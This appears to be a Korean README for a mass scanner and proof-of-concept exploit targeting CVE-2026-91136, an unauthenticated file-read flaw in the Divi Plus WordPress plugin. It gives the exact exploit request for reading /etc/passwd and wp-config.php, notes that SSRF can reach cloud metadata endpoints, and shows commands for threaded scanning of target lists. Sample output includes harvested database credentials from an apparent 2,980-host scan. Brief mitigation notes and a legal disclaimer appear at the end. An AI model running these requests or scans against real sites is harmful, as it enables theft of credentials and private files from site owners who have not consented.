
CVE-2026-91136에 대한 대규모 스캐너 및 PoC 익스플로잇으로, Divi Plus WordPress 플러그인의 svg_image REST 파라미터를 통한 인증되지 않은 임의 파일 읽기 취약점입니다.
Divi Plus (Elicus) — WordPress 플러그인 ≤ 2.4.0 — elicus/v1 REST 네임스페이스의 svg_image 파라미터를 통한 인증되지 않은 임의 파일 읽기.
| 속성 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-91136 |
| 체인 | svg_image → file_get_contents() (폴백 wp_remote_get) → JSON html |
| 심각도 | 🟠 높음 (CVSS 7.5) |
| 대상 | Divi Plus (Divi Extended / Elicus) |
| 영향 받는 버전 | ≤ 2.4.0 |
| 수정 버전 | 2.4.1 |
| 인증 필요 여부 | 없음 |
SVGAnimatorController::index_permission이 무조건 true를 반환하므로,
/wp-json/elicus/v1/dipl-modules/svg-animator 엔드포인트는 인증 없이 접근할 수
있습니다. svg_image 입력은 file_get_contents()(폴백으로 wp_remote_get())로
전달되기 전에 sanitize_text_field()와 esc_html()만 거치는데, 이 함수들은
파일시스템 경로, file:// 스트림 래퍼 또는 원격 URL을 제한하지 않습니다.
원시 응답 본문은 JSON html 필드에 반환됩니다.
GET /wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
│
▼
index_permission() = true (no auth)
│
▼
svg_image -> sanitize_text_field/esc_html (no path restriction)
│
▼
file_get_contents() -> fallback wp_remote_get()
│
▼
{"html":"root:x:0:0:root:/root:/bin/bash\n..."}
영향: /etc/passwd, wp-config.php(DB 자격 증명 + 인증 솔트), SSRF를 통한 클라우드 메타데이터(169.254.169.254 / GCP / Azure / DO / OCI), .env 및 웹 사용자가 읽을 수 있는 기타 모든 파일을 읽을 수 있습니다.
# single target
python CVE-2026-91136.py -u https://target.com
# mass scan
python CVE-2026-91136.py -i targets.txt -t 20 -o results
# interactive (banner -> targets -> threads)
python CVE-2026-91136.py
| 옵션 | 설명 |
|---|---|
-u/--url URL | 단일 대상 |
-i/--input FILE | 대상 파일, 한 줄에 하나씩 (# 주석 허용) |
-t/--threads N | 스레드 수 (생략 시 대화형으로 질문) |
--timeout N | 요청 타임아웃 (기본값 12) |
-q/--quiet | 적중 항목만 표시하고 나머지는 인라인 카운터로 전송 |
-v/--verbose | 대상당 한 줄씩 표시 |
-o/--output FILE | 결과를 JSONL + FILE.hits.txt에 기록 |
[OK] https://target.com ✓ 1 ✗ 0
passwd: root:x:0:0:root:/root:/bin/bash
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/etc/passwd
wp-config: /var/www/html/wp-config.php
link: https://target.com/wp-json/elicus/v1/dipl-modules/svg-animator?svg_image=/var/www/html/wp-config.php
DB_NAME=wordpress
DB_USER=wp_user
DB_PASSWORD=***
DB_HOST=localhost
✓ OK: 1 ✗ FAIL: 2979 total: 2980
[████░░░░] 42% (1250/2980) ✓ 3 ✗ 1247results.hits.txt — 취약한 것으로 확인된 대상만 포함svg-animator 엔드포인트 응답 + divi-plus 자산의 ?ver=를 통한 버전 확인wp-config.php 탐색: 고정 후보 + /etc/passwd에서 파싱한 실제 /home/<user>/ 디렉터리├── CVE-2026-91136.py # mass scanner + exploit
├── README.md
├── LICENSE
└── .gitignore
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
GET/POST /wp-json/elicus/v1/dipl-modules/svg-animator 차단file://, /etc/ 또는 메타데이터 IP를 포함하는 svg_image 값에 대해 로그 모니터링